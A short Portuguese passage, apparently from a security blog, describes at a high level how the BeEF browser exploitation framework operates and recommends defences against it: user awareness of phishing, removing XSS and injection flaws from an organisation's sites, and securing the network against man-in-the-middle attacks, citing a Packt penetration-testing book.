BeEF realiza a maior parte do ataque ao permanecer sob a superfície sem muita interação e envolvimento do usuário final. O navegador da Web é um software amplamente utilizado e as vulnerabilidades são descobertas diariamente, o que só aumenta a importância desta ferramenta em seu arsenal. A maioria dos módulos de ataque incluídos no BeEF usa JavaScript legítimo para consultar o navegador da Web e o sistema operacional. Embora o Chrome e o Internet Explorer tenham filtros anti-XSS, não são defesas infalíveis contra esses ataques.
A maneira de bloquear esses ataques é educando os usuários para ter cuidado ao navegar na internet e evitar visitar sites suspeitos. A maioria desses ataques começa por uma campanha de phishing tentando atrair o usuário a visitar o site injetado com o gancho Beeb. Você também precisa desinfetar os sites da sua organização de todos os XSS e falhas de injeção ou seu próprio site poderá ter o gancho BeEF injetado. Para o ataque baseado em MITM, certifique-se de que a camada de rede esteja corretamente segura, ou então você terá maiores problemas nas suas mãos do que apenas uma injeção no site com o gancho do Beeb.

Referencias:
Penetration Testing: A Survival Guide.2016 Packt Publishing. Authors:Wolf Halton, Bo Weaver, Juned Ahmed Ansari, Srinivasa Rao Kotipalli,Mohammed A. Imran.


Remote Hybrid and Office work